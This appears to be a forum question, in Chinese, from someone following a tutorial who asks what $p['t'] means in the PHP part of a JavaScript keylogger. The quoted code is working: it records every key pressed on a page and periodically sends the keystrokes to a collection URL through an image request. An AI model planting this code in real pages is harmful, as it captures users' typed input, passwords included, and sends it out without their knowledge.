javascript - $p['t] 在这个键盘记录器代码中是什么意思?
问题描述
我希望你们一切都好。所以我正在尝试按照教程使用 Java Script 和 PHP 制作一个简单的键盘记录器,并且代码中有一个特定的行让我感到困惑。
在负责读取击键的代码中,有一个 $p['t'] 写在 for each 循环中。这是什么意思?
这是创建 presses 数组的代码:
var presses = [];
window.addEventListener("keydown", function (evt) {
presses.push({
t: Math.round(new Date().getTime() / 1000),
k: evt.key,
});
});
这是定期将其发送到 PHP 阅读器文件的代码。
window.setInterval(function () {
if (presses.length > 5) {
var data = encodeURIComponent(JSON.stringify(presses));
// console.log(data);
new Image().src = "http://localhost/test/keylog.php?k=" + data; // CHANGE THIS URL TO YOUR OWN!
presses = [];
}
}, 500);
foreach ($presses as $p) {
printf("[%s] %s<br>", date("Y-m-d H:i:s", $p['t']), $p['k']);
}